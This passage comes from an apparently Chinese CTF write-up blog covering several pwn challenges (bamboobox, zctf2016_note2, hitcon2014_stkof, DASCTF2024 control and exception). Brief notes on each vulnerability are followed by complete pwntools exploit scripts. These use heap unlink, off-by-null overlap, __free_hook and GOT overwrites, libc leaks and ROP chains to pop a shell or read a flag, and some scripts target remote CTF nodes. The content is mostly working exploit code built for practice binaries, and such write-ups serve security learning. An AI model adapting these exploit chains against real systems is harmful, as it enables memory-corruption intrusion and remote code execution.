# get a fake chunk *in* number 58
create(0xbf0, b'a') # 56
create(0x20, b'a') # 57
delete(56)
create(0x1000, b'a') # 56
create(0x28, p64(0) + p64(0x521) + b'\xa0') # 58

# FAKE.fd->bk = FAKE, FAKE.fd is number 61
create(0x28, b'a') # 59
create(0x28, b'a')
create(0x28, b'a')
create(0x28, b'a') # 62
for i in range(7):
delete(48 + i)
delete(59)
delete(61)
for i in range(7):
create(0x28, b'a')
create(0x400, b'a') # 59
create(0x28, p64(0) + b'\x20') # 61
create(0x28, b'a') # 63
# 58 63 60 61 62 59(0x400)

# FAKE.bk->fd = FAKE, FAKE.bk is number 58, whitch contains the fake chunk
for i in range(7):
delete(48 + i)
delete(60)
delete(58)
for i in range(7):
create(0x28, b'a')
create(0x28, b'\x20') # 58
create(0x28, b'a') # 60

# off by null + unlink = chunk overlap
create(0x28, b'a') # 64
create(0x5f8, b'a') # 65
create(0xc0, b'a') # 66
delete(64)
create(0x28, b'\x00' * 0x20 + p64(0x520)) # 64
delete(65)

# get libc
create(0x40, b'a') # 65
show(60)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1E4CA0
free_hook_addr = libc_base + libc.symbols['__free_hook']
print(hex(libc_base), hex(free_hook_addr))

# get heap
create(0x80, b'a') # 67
create(0x28, b'a') # 68 = 59
create(0x28, b'a') # 69
delete(69)
delete(68)
show(59)
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(heap_addr))
create(0x28, b'a')
create(0x28, b'a')

# let __free_hook be the magic gadget
magic_gadget = libc_base + 0x12be97
for i in range(7):
delete(48 + i)
delete(68)
delete(69)
delete(59) # notice that chunk number 59 is equal to chunk number 68
for i in range(7):
create(0x28, b'a')
create(0x28, p64(free_hook_addr))
create(0x28, b'a')
create(0x28, b'a')
create(0x28, p64(magic_gadget))

# orw
setcontext_addr = libc_base + libc.symbols['setcontext']
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
pop_rax_ret = libc_base + 0x47cf8
syscall_ret = libc_base + 0xcf6c5
ret = libc_base + 0xc18ff

payload = p64(setcontext_addr + 53) + p64(heap_addr - 0x60) + p64(heap_addr + 0x60) + p64(ret) + b'./flag\x00\x00' + p64(0)
payload += p64(pop_rdi_ret) + p64(heap_addr + 0x50)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(heap_addr + 0x200)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(syscall_ret)
create(0x400, payload) # 71
# gdb.attach(p, 'b *setcontext+53')
delete(71)
except EOFError:
p.close()
p = process('./note')
continue
else:
p.interactive()
exit(0)

bamboobox

本地能打通,远程通不了,不是很理解。
edit函数存在堆任意长度溢出,伪造堆块进行unlink实现任意写。
条件:

1
2
3
4
5
6
7
8
9
----------       ---------------
| target | --> | prev_size |
---------- ---------------
| size |
---------------
|target - 0x18|
---------------
|target - 0x10|
---------------

如此构造0号块,其中target为listitem[0].str。同时修改1号块的prev_sizesize,制造伪造堆块已经被释放的假象。
此后释放1号块,由于unlink,target会指向target - 0x18
接下来修改0号块使得listitem[0].str指向free_hook,再次修改使得free_hook指向system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# context.log_level = 'debug'

p = process('./bamboobox')
# p = remote('node5.buuoj.cn', 27065)
# attachment = ELF('./bamboobox')
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def create(len, content):
p.sendlineafter(b'Your choice:', b'2')
p.sendlineafter(b'name:', str(len).encode())
p.sendlineafter(b'item:', content)

def delete(index):
p.sendlineafter(b'Your choice:', b'4')
p.sendlineafter(b'item:', str(index).encode())

def edit(index, len, content):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b'item:', str(index).encode())
p.sendlineafter(b'name:', str(len).encode())
p.sendlineafter(b'item:', content)

def show():
p.sendlineafter(b'Your choice:', b'1')

fake_chunk = 0x6020C8
magic = 0x400D49

create(0x80, b'')
create(0x80, b'')
create(0x20, b'/bin/sh\x00')

payload = p64(0) + p64(0x81) + p64(fake_chunk - 3 * 8) + p64(fake_chunk - 2 * 8) + p64(0) * 12 + p64(0x80) + p64(0x90)
edit(0, len(payload), payload)
# gdb.attach(p)
delete(1)

show()
p.recvuntil(b' : ')
IO_2_1_stdin_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = IO_2_1_stdin_addr - libc.symbols['_IO_2_1_stdin_']
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
print(hex(libc_base), hex(free_hook_addr))

payload = p64(0) * 2 + p64(0x80) + p64(free_hook_addr)
edit(0, len(payload), payload)
edit(0, 8, p64(system_addr))
delete(2)

p.interactive()

zctf2016_note2

my_read()函数存在整型溢出,循环使用的i是unsigned类型,输入0即可输入任意长度的内容。
edit()函数使用的长度固定位0x90,也可以溢出。
与上一题相似,伪造堆块使得notelist[0]处写入&notelist[0]-0x18。将其覆写为free()的got表地址,泄露出来计算libc,再次将其覆写为system()函数的地址。释放一块写有/bin/sh的堆即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import *

# context.log_level = 'debug'

# p = process('./note2')
p = remote('node5.buuoj.cn', 29678)
attachment = ELF('./note2')
# libc = ELF('')

def create(len, content):
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b'(less than 128)', str(len).encode())
p.sendlineafter(b'content:', content)

def delete(index):
p.sendlineafter(b'>>', b'4')
p.sendlineafter(b'note:', str(index).encode())

def edit(index, choice, content):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'note:', str(index).encode())
p.sendlineafter(b'[1.overwrite/2.append]', str(choice).encode())
p.sendlineafter(b'TheNewContents:', content)

def show(index):
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b'note:', str(index).encode())

p.sendline(b'asd')
p.sendline(b'asd')

notelist = 0x602120

payload = p64(0) + p64(0xa1) + p64(notelist - 0x18) + p64(notelist - 0x10)
create(0x80, payload)
create(0x10, b'')
create(0x80, b'')
delete(1)
payload = b'/bin/sh\x00' + p64(0) + p64(0xa0) + p64(0x90)
create(0, payload)
delete(2)

free_got = attachment.got['free']
edit(0, 1, b'a' * 0x18 + p64(free_got))
show(0)
p.recvuntil(b'is ')
free_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
print(hex(libc_base))

edit(0, 1, p64(system_addr))
delete(3)
# gdb.attach(p)

p.interactive()

hitcon2014_stkof

与前两题一样的unlink操作,注意目标地址为list[2]
由于这道题的show()函数是一个吉祥物,我们需要先将free_got覆写为puts_plt,再将某一个list指针利用unlink覆写为puts_got。最后再free掉这个list就可以打印出puts函数的真实地址。之后算地址,拿shell的步骤大差不差。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

# p = process('./stkof')
p = remote('node5.buuoj.cn', 26589)
attachment = ELF('./stkof')
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def create(len):
p.sendline(b'1')
p.sendline(str(len).encode())

def delete(index):
p.sendline(b'3')
p.sendline(str(index).encode())

def edit(index, len, content):
p.sendline(b'2')
p.sendline(str(index).encode())
p.sendline(str(len).encode())
p.send(content)

free_got = attachment.got['free']
puts_plt = attachment.plt['puts']
puts_got = attachment.got['puts']
list = 0x602140

create(0x80)
create(0x80)
create(0x80)
create(0x80)

payload = p64(0) + p64(0x81) + p64(list + 0x10 - 0x18) + p64(list + 0x10 - 0x10) + p64(0) * 12 + p64(0x80) + p64(0x90)
edit(2, len(payload), payload)
delete(3)

payload = p64(0) + p64(free_got)
edit(2, len(payload), payload)
edit(0, 8, p64(puts_plt))
payload = p64(0) + p64(puts_got)
edit(2, len(payload), payload)
delete(0)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print(hex(libc_base))

payload = p64(0) + p64(free_got)
edit(2, len(payload), payload)
edit(0, 8, p64(system_addr))
edit(1, 8, b'/bin/sh\x00')
delete(1)

p.interactive()

异常处理

[DASCTF2024]control

vuln函数中存在栈溢出,但是有canary保护,且当读入数据超过0x60字节之后会抛出异常。但是由于vuln函数不会处理异常,将会触发unwind,让main函数处理异常,此时会使用vuln的栈帧返回main并跳过canary检测。

题目给出了bss段上0x10字节可控的gift,即两个地址。在vuln函数中将其rbp覆写为gift,异常处理后main函数中的leave; ret;会使得rbp变为*gift[0],rip变为*gift[1]。我们将gift[1]设置为vuln函数中read之前的地方,跳过vuln函数创建栈帧的部分。这样在后续读取的时候就可以直接覆盖read函数的返回址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = process('./control')
# p = remote('', )
attachment = ELF('./control')
# libc = ELF('./')

gift = 0x4D3350
pop_rdi_ret = 0x401c72
pop_rax_ret = 0x462c27
pop_rsi_ret = 0x405285
pop_rdx_ret = 0x401aff
syscall_addr = 0x40161e

p.recvuntil(b'Gift>')
p.send(p64(gift + 0x70) + p64(0x402177))
p.recvuntil(b'control?')
# gdb.attach(p, 'b *0x402177')
p.send(p64(gift) * 15)
p.recvuntil(b'control?')
p.send(b'/bin/sh\x00' + p64(pop_rax_ret) + p64(0x3b) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rdi_ret) + p64(gift) + p64(syscall_addr))

p.interactive()

[DASCTF2024]exception

vuln函数很奇怪,没有ret且必定抛出异常。给出的溢出空间非常大,可以直接劫持main函数的栈帧。注意利用main函数里的格式化字符串泄露程序基址、libc基址、canary。配合vuln给出的栈地址打ret2libc。牛魔,比赛的时候光顾着看control了,怎么感觉这个更简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p = process('./exception')
# p = remote('', )
# attachment = ELF('')
libc = ELF('./pwn/libc.so.6')

pop_rdi_ret = 0x23b6a
pop_rsi_ret = 0x2601f
pop_rdx_ret = 0xdfc12
ret = 0x22679

# gdb.attach(p, 'b *_Unwind_RaiseException+905')
p.sendafter(b'name\n', b'%p' * 0x10)
recv = p.recvuntil(b'w').replace(b'(nil)', b'').replace(b'w', b'').split(b'0x')
proc_base = int(recv[-1], 16) - 0x480
libc_base = int(recv[-5], 16) - 0x1ecb80
canary = int(recv[-9], 16)
bin_sh_addr = libc_base + libc.search(b'/bin/sh').__next__()
system_addr = libc_base + libc.symbols['system']
print(hex(proc_base), hex(libc_base), hex(canary))
print(hex(bin_sh_addr), hex(system_addr))

# gdb.attach(p)
p.recvuntil(b'stack\n')
p.recv(2)
stack = int(p.recv(12), 16)
print(hex(stack))
payload = b'\x00' * 0x70 + p64(stack + 0xa0) + p64(proc_base + 0x408) + p64(0) + p64(canary) + p64(0) * 3 + p64(libc_base + pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_base + pop_rsi_ret) + p64(0) + p64(libc_base + ret) + p64(system_addr)
p.sendlineafter(b'exception', payload)

p.interactive()